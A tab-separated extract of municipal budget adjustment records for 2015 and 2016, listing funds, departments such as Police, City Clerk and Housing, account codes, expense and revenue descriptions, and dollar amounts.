18151	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	409240.0	HISTORICAL PRESERVATION	622.0	Other	2015	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
18152	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407861.0	VENDING MACH SALES-VAP	622.0	Other	2015	-1300	0	0	0	0	0	0	0	0	0	0	0	-1300
18153	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2015	-35242	0	0	0	0	0	0	0	0	0	0	0	-35242
18154	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409043.0	ELEM SPORTS-SPRING	612.0	Charges for Service	2015	-54613	0	0	0	0	0	0	0	0	0	0	0	-54613
18155	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2015	-19650	0	0	0	0	0	0	0	0	0	0	0	-19650
18156	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	566620.0	FIRE PREVENTION EDUCATION	806.0	 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18157	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	409250.0	VERIZON STORE LICENSE AGREEMNT	618.0	Rentals	2015	-1020	0	0	0	0	0	0	0	0	0	0	0	-1020
18158	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2015	1300	0	0	0	0	0	0	0	0	0	0	0	1300
18159	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579963.0	BBB-GEN FUND REIMB-FIN	908.0	 Supplies and Expenses	2015	-261702	0	0	0	0	0	0	0	0	0	0	0	-261702
18160	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	915	0	0	0	0	0	0	0	0	0	0	0	915
18161	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2015	104	0	0	0	0	0	0	0	0	0	0	0	104
18162	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		EAP	804.0	Salaries and Wages	2015	819	0	0	0	0	0	0	0	0	0	0	0	819
18163	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	4163	0	0	0	0	0	0	0	0	0	0	0	4163
18164	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	5328	0	0	0	0	0	0	0	0	0	0	0	5328
18165	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2015	1500	0	0	0	0	0	0	0	0	0	0	0	1500
18166	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544513.0	SM/MAL-MEALS ON WHEELS-DA	810.0	 Supplies and Expenses	2015	1910	0	0	0	0	0	0	0	0	0	0	0	1910
18167	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544514.0	WCIL-INDEPENDENT LIVING SVS-DA	810.0	 Supplies and Expenses	2015	8088	0	0	0	0	0	0	0	0	0	0	0	8088
18168	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511749.0	VISION	840.0	Salaries and Wages	2016	6808	0	0	0	0	0	0	0	0	0	0	0	6808
18169	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	7786	0	0	0	0	0	0	0	0	0	0	0	7786
18170	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	3927	0	0	0	0	0	0	0	0	0	0	0	3927
18171	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
18172	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	3000	0	0	0	0	0	0	0	0	0	0	0	3000
18173	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555210.0	TRAINING		 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18174	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	69000	0	0	0	0	0	0	0	0	0	0	0	69000
18175	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	31000	0	0	0	0	0	0	0	0	0	0	0	31000
18176	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	450723	0	0	0	0	0	0	0	0	0	0	0	450723
18177	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
18178	BA	IS	20	Miscellaneous Grants Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404950.0	HOME INVESTMENT PARTNERSHIPS	610.0	Intergovernmental	2016	-381792	0	0	0	0	0	0	0	0	0	0	0	-381792
18179	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522040.0	INSURANCE AND BONDS		 Supplies and Expenses	2016	925000	0	0	0	0	0	0	0	0	0	0	0	925000
18180	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	800148	0	0	0	0	0	0	0	0	0	0	0	800148
18181	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	500	0	0	0	0	0	0	0	0	0	0	0	500
18182	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	12500	0	0	0	0	0	0	0	0	0	0	0	12500
18183	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	6000	0	0	0	0	0	0	0	0	0	0	0	6000
18184	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18185	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
18186	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18187	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18188	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	555210.0	TRAINING	804.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
18189	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400870.0	LEASE RENTAL REVENUE-DOWNTOWN	618.0	Rentals	2016	-383742	0	0	0	0	0	0	0	0	0	0	0	-383742
18190	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	401550.0	MAP/CODE/SPECIFICATIONS SALES	612.0	Charges for Service	2016	-1500	0	0	0	0	0	0	0	0	0	0	0	-1500
18191	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522100.0	EXPERT WITNESS COSTS		 Supplies and Expenses	2016	125000	0	0	0	0	0	0	0	0	0	0	0	125000
18192	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555110.0	LEGAL EXPENSE		 Supplies and Expenses	2016	215000	0	0	0	0	0	0	0	0	0	0	0	215000
18193	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2016	2004	0	0	0	0	0	0	0	0	0	0	0	2004
18194	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2016	166500	0	0	0	0	0	0	0	0	0	0	0	166500
18195	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
18196	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401920.0	FARMERS' MARKET	622.0	Other	2016	-850000	0	0	0	0	0	0	0	0	0	0	0	-850000
18197	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400260.0	PROP K TORCA CONVERSION TAX	606.0	Other Local Taxes	2016	-40000	0	0	0	0	0	0	0	0	0	0	0	-40000
18198	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400470.0	POLICE PERMITS	608.0	Licenses and Permits	2016	-24710	0	0	0	0	0	0	0	0	0	0	0	-24710
18199	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401440.0	POLICE BILLABLE SERVICES	612.0	Charges for Service	2016	-497239	0	0	0	0	0	0	0	0	0	0	0	-497239
18200	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400230.0	CONDOMINIUM TAX	606.0	Other Local Taxes	2016	-20000	0	0	0	0	0	0	0	0	0	0	0	-20000
18201	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522050.0	MEDICAL EXAMS		 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
18202	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2016	20150	0	0	0	0	0	0	0	0	0	0	0	20150
18203	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	19000	0	0	0	0	0	0	0	0	0	0	0	19000
18204	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	566090.0	ENTERTAIN - PUBLIC GS	804.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
18205	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511490.0	OVERTIME	804.0	Salaries and Wages	2016	6460	0	0	0	0	0	0	0	0	0	0	0	6460
18206	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	307352	0	0	0	0	0	0	0	0	0	0	0	307352
18207	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511490.0	OVERTIME	804.0	Salaries and Wages	2016	715	0	0	0	0	0	0	0	0	0	0	0	715
18208	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2016	56000	0	0	0	0	0	0	0	0	0	0	0	56000
18209	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400510.0	PLAN CHECK FEES-BLDG & SAFETY	612.0	Charges for Service	2016	-2864430	0	0	0	0	0	0	0	0	0	0	0	-2864430
18210	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	7636	0	0	0	0	0	0	0	0	0	0	0	7636
18211	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2016	5300	0	0	0	0	0	0	0	0	0	0	0	5300
18212	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	120633	0	0	0	0	0	0	0	0	0	0	0	120633
18213	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	5000	0	0	0	0	0	0	0	0	0	0	0	5000
18214	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522620.0	RENT	804.0	 Supplies and Expenses	2016	145000	0	0	0	0	0	0	0	0	0	0	0	145000
18215	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	862857	0	0	0	0	0	0	0	0	0	0	0	862857
18216	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2016	-389215	0	0	0	0	0	0	0	0	0	0	0	-389215
18217	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400700.0	PARKING CITATION FINES	614.0	Fines and Forfeitures	2016	-15000000	0	0	0	0	0	0	0	0	0	0	0	-15000000
18218	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400810.0	PEACE OFFICERS TRAINING	610.0	Intergovernmental	2016	-70000	0	0	0	0	0	0	0	0	0	0	0	-70000
18219	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2016	32613	0	0	0	0	0	0	0	0	0	0	0	32613
18220	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2016	13499	0	0	0	0	0	0	0	0	0	0	0	13499
18221	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522500.0	BOARDS AND COMMISSIONS	816.0	 Supplies and Expenses	2016	1350	0	0	0	0	0	0	0	0	0	0	0	1350
18222	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2016	10384	0	0	0	0	0	0	0	0	0	0	0	10384
18223	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	566470.0	TRAFFIC SIGNAL MAINTENANCE	816.0	 Supplies and Expenses	2016	124915	0	0	0	0	0	0	0	0	0	0	0	124915
18224	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2016	97818	0	0	0	0	0	0	0	0	0	0	0	97818
18225	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	3608258	0	0	0	0	0	0	0	0	0	0	0	3608258
18226	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	522720.0	MILEAGE	816.0	 Supplies and Expenses	2016	112	0	0	0	0	0	0	0	0	0	0	0	112
18227	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511490.0	OVERTIME	816.0	Salaries and Wages	2016	1562	0	0	0	0	0	0	0	0	0	0	0	1562
18228	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	404000.0	STC PROGRAM	610.0	Intergovernmental	2016	-4400	0	0	0	0	0	0	0	0	0	0	0	-4400
18229	BA	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405810.0	COPS - PER CAPITA	610.0	Intergovernmental	2016	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
18230	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
18231	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577230.0	FISCAL AGENT FEES	816.0	 Supplies and Expenses	2016	12460	0	0	0	0	0	0	0	0	0	0	0	12460
18232	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511490.0	OVERTIME	816.0	Salaries and Wages	2016	2572	0	0	0	0	0	0	0	0	0	0	0	2572
18233	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511490.0	OVERTIME		Salaries and Wages	2016	74041	0	0	0	0	0	0	0	0	0	0	0	74041
18234	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2016	5192	0	0	0	0	0	0	0	0	0	0	0	5192
18235	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544180.0	SMALL TOOLS	816.0	 Supplies and Expenses	2016	519	0	0	0	0	0	0	0	0	0	0	0	519
18236	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2016	7009	0	0	0	0	0	0	0	0	0	0	0	7009
18237	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
18238	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2016	20665	0	0	0	0	0	0	0	0	0	0	0	20665
18239	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522720.0	MILEAGE	816.0	 Supplies and Expenses	2016	5100	0	0	0	0	0	0	0	0	0	0	0	5100
18240	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	41534	0	0	0	0	0	0	0	0	0	0	0	41534
18241	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	577410.0	SITE IMPROVEMENTS	816.0	 Supplies and Expenses	2016	8379	0	0	0	0	0	0	0	0	0	0	0	8379
18242	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2016	134453	0	0	0	0	0	0	0	0	0	0	0	134453
18243	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	104	0	0	0	0	0	0	0	0	0	0	0	104
18244	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2016	23495	0	0	0	0	0	0	0	0	0	0	0	23495
18245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	2130	0	0	0	0	0	0	0	0	0	0	0	2130
18246	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	41219	0	0	0	0	0	0	0	0	0	0	0	41219
18247	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2016	103	0	0	0	0	0	0	0	0	0	0	0	103
18248	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	30600	0	0	0	0	0	0	0	0	0	0	0	30600
18249	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	2381285	0	0	0	0	0	0	0	0	0	0	0	2381285
18250	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	3792	0	0	0	0	0	0	0	0	0	0	0	3792
18251	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401290.0	POLICE-MOVIE JOBS	612.0	Charges for Service	2016	-464111	0	0	0	0	0	0	0	0	0	0	0	-464111
18252	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511490.0	OVERTIME	804.0	Salaries and Wages	2016	1832	0	0	0	0	0	0	0	0	0	0	0	1832
18253	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	2596	0	0	0	0	0	0	0	0	0	0	0	2596
18254	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
18255	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	1168583	0	0	0	0	0	0	0	0	0	0	0	1168583
18256	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2016	3852	0	0	0	0	0	0	0	0	0	0	0	3852
18257	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	555210.0	TRAINING	816.0	 Supplies and Expenses	2016	4153	0	0	0	0	0	0	0	0	0	0	0	4153
18258	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511490.0	OVERTIME	810.0	Salaries and Wages	2016	2560	0	0	0	0	0	0	0	0	0	0	0	2560
18259	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2016	32834	0	0	0	0	0	0	0	0	0	0	0	32834
18260	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
18261	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2016	208	0	0	0	0	0	0	0	0	0	0	0	208
18262	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401460.0	POLICE SERV-FINGERPRINTING	612.0	Charges for Service	2016	-35991	0	0	0	0	0	0	0	0	0	0	0	-35991
18263	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	588000.0	CAPITAL OUTLAY	816.0	 Supplies and Expenses	2016	4342	0	0	0	0	0	0	0	0	0	0	0	4342
18264	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2016	73987	0	0	0	0	0	0	0	0	0	0	0	73987
18265	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	37500	0	0	0	0	0	0	0	0	0	0	0	37500
18266	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522620.0	RENT	816.0	 Supplies and Expenses	2016	51527	0	0	0	0	0	0	0	0	0	0	0	51527
18267	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2016	242411	0	0	0	0	0	0	0	0	0	0	0	242411
18268	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2016	2804	0	0	0	0	0	0	0	0	0	0	0	2804
18269	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2016	8385	0	0	0	0	0	0	0	0	0	0	0	8385
18270	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2016	4361	0	0	0	0	0	0	0	0	0	0	0	4361
18271	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522710.0	AUTO REIMBURSEMENT	816.0	 Supplies and Expenses	2016	2550	0	0	0	0	0	0	0	0	0	0	0	2550
18272	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400370.0	RESIDENTIAL BLDG REPORT	612.0	Charges for Service	2016	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
18273	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2016	13825	0	0	0	0	0	0	0	0	0	0	0	13825
18274	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	20052	0	0	0	0	0	0	0	0	0	0	0	20052
18275	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	425673	0	0	0	0	0	0	0	0	0	0	0	425673
18276	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522540.0	ADVERTISING	816.0	 Supplies and Expenses	2016	1038	0	0	0	0	0	0	0	0	0	0	0	1038
18277	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533220.0	BLDG / STRUCTURE MAINTENANCE	816.0	 Supplies and Expenses	2016	640135	0	0	0	0	0	0	0	0	0	0	0	640135
